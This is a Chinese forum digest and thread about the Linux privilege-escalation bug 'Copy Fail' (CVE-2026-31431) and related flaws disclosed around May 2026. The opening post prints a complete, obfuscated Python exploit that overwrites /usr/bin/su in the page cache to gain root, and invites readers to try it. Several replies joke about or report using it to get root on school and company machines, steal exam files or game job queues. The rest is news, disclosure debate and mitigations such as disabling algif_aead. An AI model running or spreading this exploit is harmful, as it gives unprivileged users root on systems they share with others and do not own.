泥潭日报 uscardforum · 内容汇总

Linux被发现了一个重大漏洞,2017年后的发行版可一键提权

内容摘要

社区持续讨论本地提权漏洞及供应链安全,AI写代码争议升温。

1. 关键信息

  • CVE‑2026‑31431(Copy Fail):Zero‑copy page‑cache 写入导致任意文件 4 Byte 覆盖,可实现本地提权(LPE);影响 2017 年后所有发行版,需启用 algif_aead(AF_ALG)模块;PoC 已公开(Python 与 C);多数发行版在 2026‑04‑01 左右发布补丁(≥6.18)
  • dirtyfrag:类似利用手法的新变种,无 CVE 编号;项目地址 https://github.com/V4bel/dirtyfrag ;无发行版补丁,embargo 被打破
  • 3号漏洞:由 Sam James 通过 OSS Security 邮件列表公告(LWN https://lwn.net/Articles/1072647/ ),无 CVE 编号,无 PoC,无补丁
  • 4号漏洞(CVE‑2026‑46333):ssh‑keysign 相关本地提权,AlmaLinux 披露(https://almalinux.org/blog/2026-05-15-ssh-keysign-pwn-cve-2026-46333/ ),无 PoC,补丁状态待确认
  • 5号漏洞(非Linux):Windows Bitlocker 绕过漏洞 YellowKey,GitHub https://github.com/Nightmare-Eclipse/YellowKey 【#107】
  • Pwn2Own Berlin 2026 新漏洞:大赛正在进行,已有多个 kernel 提权漏洞被发现但尚未公开【#112】
  • QEMU 虚拟化漏洞(新):PoC 公开,可从 VM 恢复主机密码(“母鸡忘了密码可以从 vm 找回”),项目地址 https://github.com/v12-security/pocs/tree/main/qemu (无 CVE,无补丁)【#114】
  • GitHub 内部代码泄漏(新):X 平台链接 https://x.com/i/status/2056949168208552080 显示 GitHub 内部代码泄漏,引发供应链攻击担忧【#119】【#120】
  • 受影响范围:云服务、容器、CI/CD runner、HPC 集群、学校/公司内部机器、WSL2、部分 Android 设备(老机型);YellowKey 影响 Windows Bitlocker 用户【#107】;QEMU 漏洞影响所有使用 QEMU/KVM 虚拟化的主机【#114】;GitHub 代码泄漏影响所有依赖 GitHub 的软件供应链【#120】
  • 防御建议:禁用 algif_aead 模块;开启自动内核升级;针对 dirtyfrag、3号、4号漏洞等待官方补丁或临时禁用相关功能;Windows 用户关注 YellowKey 项目进展,建议对丢失风险高的设备使用 PIN 启动前解锁或远程访问【#111】;关注 Pwn2Own 公开后的漏洞详情;针对 QEMU 漏洞,建议检查 QEMU 版本并关注上游更新,避免在不可信 VM 上存放主机密码【#114】;考虑禁用不必要的硬件特性(如 CXL)以减少攻击面【#115】;针对 GitHub 代码泄漏,建议核查自身仓库是否有被泄露的风险,关注官方公告【#120】

2. 羊毛/优惠信息

3. 最新动态

  • 2026‑04‑01:主流发行版发布 CVE‑2026‑31431 补丁【#40】【#67】
  • 2026‑04‑29:Copy Fail 全面披露【#1】【#26】
  • 2026‑05‑08:dirtyfrag 公开(Round 2),无补丁【#96‑#98】
  • 2026‑05‑08 后:3号漏洞由 Sam James 公告【#103】
  • 2026‑05‑15:4号漏洞 CVE‑2026‑46333 由 AlmaLinux 披露【#106】
  • 2026‑05‑15 后:社区出现 Bitlocker 绕过漏洞 YellowKey 的讨论【#107】,有用户调侃“直接改分数辣”【#108】,社区疲劳情绪进一步蔓延
  • 新增 #109 #110:用户对漏洞发现过程表示惊叹(“太神奇了”),另有用户调侃“摩萨德特工展示肌肉”,社区讨论转向调侃以色列情报机构
  • 新增 #111:用户建议若设备有丢失风险,应强制使用 PIN 启动前解锁,或远程访问本地不留数据
  • 新增 #112:用户报告 Pwn2Own Berlin 2026 正在进行,多个 kernel 提权漏洞已发现但未公开,链接 https://www.zerodayinitiative.com/blog/2026/5/13/pwn2own-berlin-2026-the-full-schedule
  • 新增 #113:用户表达对本地提权漏洞的厌倦,希望看到远程代码执行(RCE)漏洞,称“本地提权差点意思,来几个RCE吧”
  • 新增 #114:用户发布 QEMU 漏洞 PoC(https://github.com/v12-security/pocs/tree/main/qemu),声称可从虚拟机找回宿主机密码,引发虚拟化安全新担忧
  • 新增 #115:用户认为 CXL 技术无用,建议关闭(“我反正搞不明白CXL有啥用,早该关了”),反映部分社区成员对非核心攻击面(硬件特性)的抵触态度
  • 新增 #116:用户指出 CXL 目前还用不了,基本是研究性质【#116】
  • 新增 #117:用户反驳称云服务商也根本用不到 CXL,AI workload 用 ccl 即可,重新编译代码就能解决【#117】
  • 新增 #118:另一用户称朋友整个组在干 CXL,主要做 memory pool,并引用 arxiv 论文 https://arxiv.org/abs/2203.00241【#118】
  • 新增 #119:用户发布 GitHub 内部代码泄漏的 X 平台链接 https://x.com/i/status/2056949168208552080,成为新的安全事件【#119】
  • 新增 #120:用户感叹“供应链攻击 防不胜防啊”,对代码泄漏导致的风险表示担忧【#120】
  • 新增 #121:用户担忧泄漏的代码被 AI 用来发现 GitHub 中更多漏洞,认为风险进一步放大【#121】
  • 新增 #122:用户批评现代软件供应链过长,因码农依赖 left‑pad 等小库导致 SBOM 比丰田混动车还复杂,建议用马斯克思维简化至一只手数得过来的 tier‑3 vendor
  • 新增 #123:用户表示 AI 写代码后自己随手搓功能,不再找库
  • 新增 #124:用户回应 #123,认为大概率仍能找到现成库
  • 新增 #125:用户质疑随手搓的代码可能仍是学自库中的模式(“你怎么知道随手搓出来的代码不是从库里学的”)
  • 新增 #126:另一位用户回应称AI通常将这种做法称为“clean room design”,指独立重新实现不依赖原库

4. 争议或不同意见

  • 部分用户质疑 CVE‑2026‑31431 的 embargo 流程,认为公司利用“赚新闻”动机公开【#68】
  • 有人指出漏洞实际攻击门槛高于宣传【#78】
  • Android 影响范围存疑:新机 SELinux 与未加载模块使其不可利用【#57】【#62】
  • NixOS 用户报告 PoC 不起作用【#81】
  • dirtyfrag 公开方式引发争议,批评披露流程混乱【#98】【#100】
  • 3号、4号漏洞出现后社区疲劳情绪加深(“累了,毁灭吧”)
原始内容
--- 第 1 楼来自 xxxyyy 的回复 (2026-04-29 16:20:11 PDT) ---

漏洞报告请看: https://copy.fail/ https://copy.fail/ CVE-2026-31431. 100% Reliable Linux LPE — no race, no per-distro offsets, page-cache write that bypasses on-disk file-integrity tools and crosses containers. Found by Xint Code. 这个漏洞的本质是一个逻辑错误,出现在 Linux 内核的 authencesn(一种用于 IPsec 扩展序列号的加密模板)中。 脚本利用了 splice() 系统调用。splice() 的特点是**“零拷贝 (Zero-copy)”**——当它在文件和管道之间传输数据时,它不复制数据本身,而是直接传递该文件在内存中的“页面缓存 (Page Cache)”引用。 当攻击者通过 splice() 将一个文件传入到绑定了 authencesn 的 AF_ALG(内核加密接口)套接字时,内核在执行解密逻辑并重新排列序列号(Sequence Number)时,会不慎将攻击者构造的 4 字节数据,直接写入到输入数据的缓冲区中。由于这是零拷贝,这个缓冲区实际上就是该文件在系统级页面缓存中的物理内存页。 这意味着,普通用户可以精准地将任意 4 个字节覆盖到系统上任何他拥有读取权限的文件的缓存中。 简而言之,有shell就能拿root #!/usr/bin/env python3 import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("su") 目前没有修复,可以在自己电脑试试,不建议去公司电脑试试(但应该可以work)

--- 第 2 楼来自 momo123 的回复 (2026-04-29 16:21:22 PDT) ---

这么厉害

--- 第 3 楼来自 Yangff 的回复 (2026-04-29 16:22:32 PDT) ---

splice…… 草

--- 第 4 楼来自 Harmonyano 的回复 (2026-04-29 16:22:34 PDT) ---

xxxyyy: 可以在自己电脑试试,不建议去公司电脑试试 听起来挺吓人的,为了保护我自己的信息安全,我决定在学校/公司电脑上试

--- 第 5 楼来自 搞钱不到钱只能玩卡 的回复 (2026-04-29 16:22:54 PDT) ---

感觉这应该是十年内最严重的了吧 利好降压药

--- 第 6 楼来自 xxxyyy 的回复 (2026-04-29 16:22:55 PDT) ---

被发现就不好了

--- 第 7 楼来自 LoongIsSmart 的回复 (2026-04-29 16:23:38 PDT) ---

利好 hack gradescope autograder

--- 第 8 楼来自 xxxyyy 的回复 (2026-04-29 16:23:53 PDT) ---

确实没见过这么严重的,影响很大,门槛极低

--- 第 9 楼来自 搞钱不到钱只能玩卡 的回复 (2026-04-29 16:24:13 PDT) ---

其实这个风险更多是利好内鬼 afterall这个好歹也得有some access

--- 第 11 楼来自 Ding 的回复 (2026-04-29 16:25:19 PDT) ---

唉,看来这个周末又没有好日子过了,一定又是各种系统upgrade…

--- 第 12 楼来自 xxxyyy 的回复 (2026-04-29 16:25:25 PDT) ---

会影响云服务的,估计要来一大波升级才能好

--- 第 13 楼来自 yy2052 的回复 (2026-04-29 16:25:54 PDT) ---

利好ai公司

--- 第 14 楼来自 xxxyyy 的回复 (2026-04-29 16:26:29 PDT) ---

利好ai安全公司,比如发现这个漏洞的公司 /uploads/short-url/lAwN1Iq69ycvMcFUVRgSqDQ8cxA.jpeg?dl=1

--- 第 15 楼来自 搞钱不到钱只能玩卡 的回复 (2026-04-29 16:26:51 PDT) ---

xxxyyy: https://copy.fail/ 是的 我就是做os的 正在和同事聊这个

--- 第 16 楼来自 Gcx 的回复 (2026-04-29 16:27:31 PDT) ---

ssh的漏洞,应该比这个严重。

--- 第 17 楼来自 donk666 的回复 (2026-04-29 16:28:54 PDT) ---

搞钱不到钱只能玩卡: 其实这个风险更多是利好内鬼 利好k8s、ci runner提权,拿去挖矿

--- 第 18 楼来自 yy2052 的回复 (2026-04-29 16:29:14 PDT) ---

又多了一个裁员的理由,毕竟人写的代码才有漏洞

--- 第 19 楼来自 gin_m 的回复 (2026-04-29 16:31:50 PDT) ---

之前那个claude 的没发现这个吗

--- 第 20 楼来自 xxxyyy 的回复 (2026-04-29 16:33:47 PDT) ---

claude靠自己很难得,还是需要专家结合AI才行

--- 第 21 楼来自 搞钱不到钱只能玩卡 的回复 (2026-04-29 16:33:53 PDT) ---

emmm所以说利好内鬼 主要我是做on-perm的 这次这个断网了都能被内鬼一锅端

--- 第 22 楼来自 Wi-Fi 的回复 (2026-04-29 16:34:55 PDT) ---

公司服务器应该一周前就已经patch过了,公司发的个人Linux电脑比较罕见吧。 自己的服务器可以先手动禁用这个kernel module echo "blacklist algif_aead" >> /etc/modprobe.d/blacklist-algif-aead.conf modprobe -r algif_aead https://www.sentinelone.com/vulnerability-database/cve-2026-31431/

--- 第 23 楼来自 LoongIsSmart 的回复 (2026-04-29 16:37:56 PDT) ---

网页上写了 container escape,但是没有解释

--- 第 24 楼来自 renwoxing 的回复 (2026-04-29 16:38:05 PDT) ---

AI 发现的?

--- 第 25 楼来自 xxxyyy 的回复 (2026-04-29 16:38:48 PDT) ---

AI安全公司发现的,没说是AI发现的

--- 第 26 楼来自 LoongIsSmart 的回复 (2026-04-29 16:39:22 PDT) ---

Was this AI-found?→ AI-assisted. The starting insight — that splice() hands page-cache pages into the crypto subsystem and that scatterlist page provenance might be an under-explored bug class — came from human research by Taeyang Lee at Xint. From there, https://copy.fail/#contact scaled the audit across the entire crypto/ subsystem in roughly an hour. Copy Fail was the highest-severity finding in the run.

--- 第 27 楼来自 gin_m 的回复 (2026-04-29 16:43:12 PDT) ---

在AI面前 开源就是个小娘们 迟早被玩死

--- 第 28 楼来自 折木奉太郎 的回复 (2026-04-29 16:43:29 PDT) ---

解决了我忘记了密码的问题

--- 第 29 楼来自 搞钱不到钱只能玩卡 的回复 (2026-04-29 16:49:59 PDT) ---

那个触发麻烦多了 危害大但是门槛高 而且最初过程异常是能看到的 这个真就是悄咪咪直接引爆核弹 感觉还是更吓人一点 那个是留个缝给小偷撬锁还是得各凭本事能不能撬开 这次这个直接无限提升内鬼杀伤力

--- 第 30 楼来自 xxxyyy 的回复 (2026-04-29 16:53:30 PDT) ---

靠这个漏洞,估计随便哪个大学如果有好事的学生,就能把自己学校主页直接改掉了

--- 第 32 楼来自 ctzsm 的回复 (2026-04-29 17:49:30 PDT) ---

开源的目的之一就是大家一起找bug,只不过项目越来越大的情况下专家已经不够用了,现在有了ai帮忙找bug,开源的质量会更好。 另一方面泥潭能利用的bug就越来越少,比如amex最近的一系列修复。

--- 第 33 楼来自 CB2 的回复 (2026-04-29 17:53:52 PDT) ---

学校机子还真行 # whoami root 是时候去学校gpu集群把自己的任务优先级拉满了

--- 第 34 楼来自 jzj 的回复 (2026-04-29 17:57:30 PDT) ---

如果以后AI可以直接读binary呢?

--- 第 35 楼来自 myq 的回复 (2026-04-29 18:00:59 PDT) ---

现在不可以吗 dump一下啥都出来了 能不能反编出来另说

--- 第 36 楼来自 Skwbs 的回复 (2026-04-29 18:01:54 PDT) ---

被学校发现了会怎样

--- 第 37 楼来自 aqua 的回复 (2026-04-29 18:05:38 PDT) ---

应该去老师的文件夹里把考题偷出来

--- 第 38 楼来自 LoongIsSmart 的回复 (2026-04-29 18:07:23 PDT) ---

/uploads/short-url/c7LFk1Je0yCaAMxTTDB2Cjwjfwj.jpeg?dl=1

--- 第 39 楼来自 收束观测者 的回复 (2026-04-29 18:09:23 PDT) ---

这种离谱漏洞没修复就公布? 啥公司这么缺德?

--- 第 40 楼来自 jzj 的回复 (2026-04-29 18:12:41 PDT) ---

4月1日就patch了,只是升级内核不够勤而已。

--- 第 41 楼来自 bill 的回复 (2026-04-29 18:14:33 PDT) ---

因为不是远程执行,所以各个 vendor 表现并不那么积极

--- 第 42 楼来自 xxxyyy 的回复 (2026-04-29 18:14:40 PDT) ---

看来这些公司都是草台班子 Wi-Fi: 公司服务器应该一周前就已经patch过了 估计都没patch呢

--- 第 43 楼来自 donk666 的回复 (2026-04-29 18:17:44 PDT) ---

收束观测者: 这种离谱漏洞没修复就公布? 啥公司这么缺德? Will you release the full PoC?→ Yes — it’s https://copy.fail/#exploit. We held it for a month while distros prepared patches; the major builds are out as of this writing. distro修复了之后就自生自灭了

--- 第 45 楼来自 DeutscheGrammophon 的回复 (2026-04-29 18:33:18 PDT) ---

真的只是拉满优先级吗

--- 第 46 楼来自 psilocybin 的回复 (2026-04-29 18:34:44 PDT) ---

dispute

--- 第 47 楼来自 Wi-Fi 的回复 (2026-04-29 18:42:47 PDT) ---

之前上英伟达的课,作业题部分给了一台GPU server共享测试环境,太久没更新肯定充满各种漏洞,我登进去之后看了看shell,一大堆乱七八糟的人在跑乱七八糟的东西也没人管。 这类自生自灭环境反正出问题了就扬了重装,也影响不到公司核心数据,随便了。 大家要养成好习惯,打开unattended upgrades, so you can sleep well at night

--- 第 48 楼来自 xxxyyy 的回复 (2026-04-29 18:44:54 PDT) ---

他这是HPC集群吧,不一样的。估计不是测试开发机

--- 第 49 楼来自 xxxyyy 的回复 (2026-04-29 18:45:54 PDT) ---

把别人都kill掉

--- 第 50 楼来自 LoongIsSmart 的回复 (2026-04-29 18:47:40 PDT) ---

OMSCS 的 agentic AI Seminar 吧,都在 docker 里面 Wi-Fi: 大家要养成好习惯,打开unattended upgrades, so you can sleep well at night 打开unattended upgrades,so you can get paged at night,谁开谁就是想加班

--- 第 51 楼来自 TtiGeR 的回复 (2026-04-29 19:00:15 PDT) ---

LoongIsSmart: 利好 hack gradescope autograder Submission 记录覆盖不了,之前有个利用 Gradescope 改分的被 suspend 了,不知道签证有没有被取消。

--- 第 52 楼来自 搞钱不到钱只能玩卡 的回复 (2026-04-29 19:08:33 PDT) ---

改成绩啊 秀肌肉不如闷声发大财

--- 第 53 楼来自 葱花香菜都要 的回复 (2026-04-29 19:16:03 PDT) ---

内核邮件列表里讨论patch时伪装成了一个无关紧要的小问题以免引起人注意。 The handling of CVE-2026-31431 (Copy Fail) on http://kernel.org is a textbook example of a “Stealth Patch” or Defensive Cleanup. ​In the Linux kernel community, highly critical security vulnerabilities are often addressed as “correctness” or “maintenance” issues to prevent the immediate publication of a blueprint for attackers before system administrators have had time to update. The patch that fixed Copy Fail was titled as a simple revert of a 2017 performance optimization. The commit message focused on “complexity” and “unnecessary optimizations” rather than “root-level privilege escalation.”

--- 第 54 楼来自 ctzsm 的回复 (2026-04-29 19:16:59 PDT) ---

现在就可以读,只不过能力还不够强。而且binary防破解技术史前时代就有了,加壳技术这些,ai静态分析并不能分析出个啥。ai变态的点在于它还可以做运行时分析,比如通过不断高效修改待分析的binary的运行环境,上古时代的码农不知道要掉多少头发花多少时间才能分析的东西,ai现在给你自动化了。

--- 第 55 楼来自 xxxyyy 的回复 (2026-04-29 19:17:58 PDT) ---

ctzsm: 比如通过不断高效修改待分析的binary的运行环境,上古时代的码农不知道要掉多少头发花多少时间才能分析的东西,ai现在给你自动化了。 我现在就在做类似的事 ,一堆profiler log自己看真是头痛,也没耐心。丢给AI自动化简单又轻松

--- 第 56 楼来自 葱花香菜都要 的回复 (2026-04-29 19:22:07 PDT) ---

我们安卓用户咋办,厂商估计都不管

--- 第 57 楼来自 Wi-Fi 的回复 (2026-04-29 19:23:48 PDT) ---

Good point, 被锁死的老机器可以root了 Update: 研究了一下,近年的android有很多SELinux的guardrail,还得是老一点的机器才有戏。而且我看了我手边的安卓机,没有加载AF_ALG kernel module

--- 第 58 楼来自 xxxyyy 的回复 (2026-04-29 19:34:28 PDT) ---

安卓设备貌似默认都没开这个kernel module没事的

--- 第 59 楼来自 CB2 的回复 (2026-04-29 19:34:39 PDT) ---

Total for all users: 138 jobs; 0 completed, 0 removed, 41 idle, 97 running, 0 held, 0 suspended 按照我们学校gpu的排队情况会不会被发现都不一定…

--- 第 60 楼来自 aqua 的回复 (2026-04-29 19:35:20 PDT) ---

懂了,以后黑客的 AI 专门瞄准 葱花香菜都要: unnecessary optimizations

--- 第 61 楼来自 latitude 的回复 (2026-04-29 19:36:09 PDT) ---

门槛太低了。

--- 第 62 楼来自 donk666 的回复 (2026-04-29 19:37:57 PDT) ---

Wi-Fi: Update: 研究了一下,近年的android有很多SELinux的guardrail,还得是老一点的机器才有戏。而且我看了我手边的安卓机,没有加载AF_ALG kernel module 应该要很老才行 /uploads/short-url/7STeBOYZ2YjFHKl28WjaMfwTrqb.png?dl=1

--- 第 63 楼来自 LoongIsSmart 的回复 (2026-04-29 19:52:38 PDT) ---

https://news.ycombinator.com/item?id=47955162 https://news.ycombinator.com/item?id=47955162 Update: Checking the kernel config indeed confirms this.<p><pre><code> adb shell zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API # CONFIG_CRYPTO_USER_API_HASH is not set # CONFIG_CRYPTO_USER_API_SKCIPHER is not set # CONFIG_CRYPTO_USER_API_RNG is not set # CONFIG_CRYPTO_USER_API_AEAD is not set</code></pre> https://news.ycombinator.com/user?id=alufers — https://news.ycombinator.com/item?id=47955162 没有 enable

--- 第 64 楼来自 收束观测者 的回复 (2026-04-29 21:04:15 PDT) ---

醉了,微软的WSL都没更新kernel

--- 第 65 楼来自 webmaster 的回复 (2026-04-29 21:09:04 PDT) ---

这个漏洞是persistent的,跑完同一台电脑上所有人都有root了…… 干完记得强制invalidate cache ~$ su # echo 2 > /proc/sys/vm/drop_caches

--- 第 66 楼来自 webmaster 的回复 (2026-04-29 21:09:42 PDT) ---

Linux提权漏洞那么多 10年前还有个dirty cow呢

--- 第 67 楼来自 webmaster 的回复 (2026-04-29 21:12:13 PDT) ---

怎么可能那么快修,现在patch才backport到6.18,再早的都没有patch 各大发行版稍微老一点的系统都没推patch,Ubuntu只有刚release的26.04是带了patch的 https://ubuntu.com/security/CVE-2026-31431 RHEL也差不多 https://access.redhat.com/security/cve/cve-2026-31431 https://access.redhat.com/security/cve/cve-2026-31431 jzj: 4月1日就patch了,只是升级内核不够勤而已。 4月1日patch的是mainstream,相当于dev branch,谁tm用mainstream donk666: 应该要很老才行 /uploads/short-url/7STeBOYZ2YjFHKl28WjaMfwTrqb.png?dl=1 SELinux有这个rule感觉不一定kernel里有这个module吧,感觉有可能是复制粘贴进去的没仔细看 而且这是neverallow,显然以普通app权限也是exploit不了的 如果真的哪个kernel开了可以试试用adb行不行 反正我手机上连owner=root的setuid binary都找不着,感觉是exploit不了的

--- 第 68 楼来自 Wi-Fi 的回复 (2026-04-29 21:32:20 PDT) ---

webmaster: 各大发行版稍微老一点的系统都没推patch 这点确实是这群AI security researcher不地道。正常情况下这种大范围大影响力漏洞怎么都得尽量embargo 90天,因为patch来不及推到全球覆盖还需要延长到180天。加速到30天公开我能想到的合理理由只有发现了在野利用。他们的网站让我有种想赶紧搞个大新闻以便搞钱的画风。

--- 第 69 楼来自 xxxyyy 的回复 (2026-04-29 21:45:19 PDT) ---

WSL2我试过貌似复现不了

--- 第 70 楼来自 葱花香菜都要 的回复 (2026-04-29 21:47:33 PDT) ---

我问chatgpt用SE policy怎么补,他给了一个补丁一个测试,打完补丁发现测试通不过还是有洞

--- 第 71 楼来自 donk666 的回复 (2026-04-29 21:48:12 PDT) ---

Wi-Fi: 他们的网站让我有种想赶紧搞个大新闻以便搞钱的画风。 是的啊,这个网站上线的时候一堆错误,一看就是vibe writeup

--- 第 72 楼来自 xxxyyy 的回复 (2026-04-29 21:56:03 PDT) ---

Wi-Fi: 正常情况下这种大范围大影响力漏洞怎么都得尽量embargo 90天 毕竟照现在的速度90天后可能公司都烧完钱倒闭了

--- 第 73 楼来自 bujidao 的回复 (2026-04-29 22:06:04 PDT) ---

活下来被搞一波lawsuit?

--- 第 74 楼来自 tty17 的回复 (2026-04-29 22:07:56 PDT) ---

我靠,有shell就能拿到root?本身就够逆天,要是再可以突破container限制的话就无敌了

--- 第 75 楼来自 收束观测者 的回复 (2026-04-29 22:35:58 PDT) ---

我win11里让opus测它说复现了 我直接让它堵了

--- 第 76 楼来自 xxxyyy 的回复 (2026-04-29 22:53:36 PDT) ---

/uploads/short-url/wnO4SZ1PFcwrpIVRrrt3qto6MEd.png?dl=1 这个脚本好像里面注入的代码是x86的,估计arm会跑不了,要重新写一个 update:有人用C写了一个跨平台版 https://github.com/tgies/copy-fail-c https://github.com/tgies/copy-fail-c Cross-platform C port of the Copy Fail Linux LPE (CVE-2026-31431). Disclosed 2026-04-29 by Theori / Xint.

--- 第 77 楼来自 嘉然今天吃什么 的回复 (2026-04-29 22:57:56 PDT) ---

NixOS上复现不了,大胜利! 改了路径,也试了暴力复制一个/usr/bin/sh,都不行。 hacker news上的人似乎也没搞出来 https://news.ycombinator.com/item?id=47955917 xxxyyy: the reason why is because the NixOS suid wrappers have +x but not +r: 对的,我还专门设置了复制出来的 /usr/bin/sh 权限,也不行。所以我也不理解为什么不行,感觉是侥幸逃过这个script但可能改一下script也能work。 Wi-Fi: 只是这个PoC不work? agreed 有人在github上发适用于nixos的script,但我本地运行还是失败…… https://raw.githubusercontent.com/FokoHetman/copy-fail-CVE-2026-31431/refs/heads/main/copy_fail_exp.py

--- 第 78 楼来自 xxxyyy 的回复 (2026-04-29 23:00:34 PDT) ---

the reason why is because the NixOS suid wrappers have +x but not +r: 貌似只能注入到有read权限的文件里

--- 第 79 楼来自 Wi-Fi 的回复 (2026-04-29 23:00:51 PDT) ---

这个漏洞的原理是改page cache。nixOS的文件系统内存缓存机制还是同一套,本质上也可以被攻击,只是这个PoC不work? 需要+r是因为需要让无权限用户触发读取文件进cache。

--- 第 80 楼来自 xxxyyy 的回复 (2026-04-29 23:02:13 PDT) ---

这个PoC不work,毕竟su的权限不同。但漏洞应该还是在的,一样可以拿来写入任意一个你有read权限的文件。光是靠这个就能干到很多root的事情了

--- 第 81 楼来自 嘉然今天吃什么 的回复 (2026-04-29 23:03:17 PDT) ---

xxxyyy: 这个PoC不work,毕竟su的权限不同 但已经改了,和我vm ubuntu里的权限是完全一样的。 我看了下nixos discourse居然没有讨论

--- 第 82 楼来自 Wi-Fi 的回复 (2026-04-29 23:05:33 PDT) ---

让我想起很古早的一个browser fingerprint的办法,隐身模式下检测隐身模式外面创建的cache,包括但不限于文件的缓存、DNS结果的缓存等等。后来浏览器隐身模式每一层都需要完全独立的cache。 Container host为了节省内存(也为了缩短冷启动时间)是会尽量让不同container共享尽量多的缓存的,包括内核和很多系统底层文件,因为各个container反正都一样,不如直接共享,反正(以为)是只读/CoW的。这是个很大的attack surface,应该就是他们网站故意没说的部分。 这么一搞,以后注重安全的场合又得做缓存隔离,浪费内存。美光股东狂喜。

--- 第 83 楼来自 xxxyyy 的回复 (2026-04-29 23:08:33 PDT) ---

xxxyyy: In this case, the operator prompt was quite simple: This is the linux crypto/ subsystem. Please examine all codepaths reachable from userspace syscalls. Note one key observation: splice() can deliver page-cache references of read-only files (including setuid binaries) to crypto TX scatterlists. After about an hour, the scan was complete, and http://copy.fail/ was the highest severity output. 所以说其实是Xint Code的大型广告

--- 第 84 楼来自 donk666 的回复 (2026-04-29 23:09:06 PDT) ---

/uploads/short-url/wAsd2AZ9rRsPgUH50ArgW13wKmx.png?dl=1 Wi-Fi: 这么一搞,以后注重安全的场合又得做缓存隔离,浪费内存。美光股东狂喜。 虽然理论上containerd的隔离不差但不会真的有人把containerd当安全边界吧 嘉然今天吃什么: 但我本地运行还是失败…… 看一看build flag?

--- 第 85 楼来自 Wi-Fi 的回复 (2026-04-29 23:15:26 PDT) ---

安全与性能永远在拉锯

--- 第 86 楼来自 bumblebee 的回复 (2026-04-29 23:20:21 PDT) ---

坊间传言,最近CIA很头疼

--- 第 87 楼来自 嘉然今天吃什么 的回复 (2026-04-29 23:21:22 PDT) ---

Wi-Fi: 只是这个PoC不work? turned out 这个https://raw.githubusercontent.com/FokoHetman/copy-fail-CVE-2026-31431/refs/heads/main/copy_fail_exp.py在我本地nixos电脑work,而在我维护的别的四台服务器都不行…… 太神秘了。虽然linux kernel 小版本不一样但都是今年二月份前的build date

--- 第 88 楼来自 xxxyyy 的回复 (2026-04-29 23:24:31 PDT) ---

具体改了啥

--- 第 89 楼来自 donk666 的回复 (2026-04-29 23:28:50 PDT) ---

/uploads/short-url/aIxPBcQN5uvpTNXqKXJGCYA3lYg.png?dl=1

--- 第 90 楼来自 FancyIX 的回复 (2026-04-29 23:34:11 PDT) ---

确实可以。太可怕了

--- 第 91 楼来自 嘉然今天吃什么 的回复 (2026-04-29 23:36:23 PDT) ---

只是把不存在的 /usr/bin/su 找到罢了,我当时手动更改以后发现还是失败,就是没怀疑是server自己有什么特殊的地方。。? 但还是禁用这个module安全

--- 第 92 楼来自 h100 的回复 (2026-04-30 01:14:05 PDT) ---

虽然这个可能是广告,但真的可以复现,还是很让人吃惊的

--- 第 93 楼来自 xxxyyy 的回复 (2026-04-30 10:17:01 PDT) ---

/uploads/short-url/quL7HiCz9fyEutbmDo2DooxSDkp.jpeg?dl=1 刚收到邮件说服务器要down几小时来重装。 然后昨天干了的人被发邮件查水表了

--- 第 94 楼来自 vwai 的回复 (2026-04-30 10:32:22 PDT) ---

所以他们说是要干什么,重装是为了防止有人用了?还是有patch?

--- 第 95 楼来自 xxxyyy 的回复 (2026-04-30 10:35:29 PDT) ---

不知道啊,可能要更新kernel吧

--- 第 96 楼来自 jzj 的回复 (2026-05-07 20:00:59 PDT) ---

Round 2: https://github.com/V4bel/dirtyfrag

--- 第 97 楼来自 aqua 的回复 (2026-05-07 20:22:21 PDT) ---

怎么又来了……上次的补丁刚打完,又成功 root 了 而且这回居然没有 CVE 也没有 patch

--- 第 98 楼来自 donk666 的回复 (2026-05-07 20:27:21 PDT) ---

Due to external factors, the embargo has been broken, so no patch exists for any distribution.

--- 第 99 楼来自 xxxyyy 的回复 (2026-05-07 20:54:06 PDT) ---

AI闹麻了

--- 第 100 楼来自 xxxyyy 的回复 (2026-05-07 20:59:20 PDT) ---

/uploads/short-url/xDAjr8RjbS8qwVvEMgV0MAz9LgS.jpeg?dl=1 4/30号report的,这一周就被发出来了

--- 第 101 楼来自 xxxyyy 的回复 (2026-05-07 21:03:12 PDT) ---

说起来今天Canvas被黑不会是这个bug导致的吧

--- 第 102 楼来自 DeutscheGrammophon 的回复 (2026-05-07 21:34:48 PDT) ---

https://github.com/V4bel/dirtyfrag/issues/18 https://github.com/V4bel/dirtyfrag/issues/18 已打开 03:45AM - 08 May 26 UTC https://github.com/WavesMan If anthropic keeps digging like this, it might just be able to reconstruct the L inux kernel 😭😭😭

--- 第 103 楼来自 葱花香菜都要 的回复 (2026-05-14 09:33:39 PDT) ---

3号漏洞又来了 https://lwn.net/Articles/1072647/ https://lwn.net/Articles/1072647/ Sam James has sent an announcement to the OSS Security mailing list about another local-privile [...]

--- 第 104 楼来自 xxxyyy 的回复 (2026-05-14 15:17:34 PDT) ---

累了,毁灭吧

--- 第 105 楼来自 Wi-Fi 的回复 (2026-05-14 15:37:25 PDT) ---

哎,以后都用vm隔离吧,每个process单独一个vm。感谢amazon开源firecracker。 要么就尽量把代码都跑在用户的手机/电脑上,感谢wasm。

--- 第 106 楼来自 葱花香菜都要 的回复 (2026-05-15 08:50:57 PDT) ---

4号漏洞! https://almalinux.org/blog/2026-05-15-ssh-keysign-pwn-cve-2026-46333/ https://almalinux.org/blog/2026-05-15-ssh-keysign-pwn-cve-2026-46333/ If you’re keeping a tally at home, this is the fourth local-root Linux kernel disclosure we have written about in roughly two weeks. At this rate the AlmaLinux build servers and core team are going to start getting hazard pay. The new flaw is tracked...

--- 第 107 楼来自 葱花香菜都要 的回复 (2026-05-15 20:23:28 PDT) ---

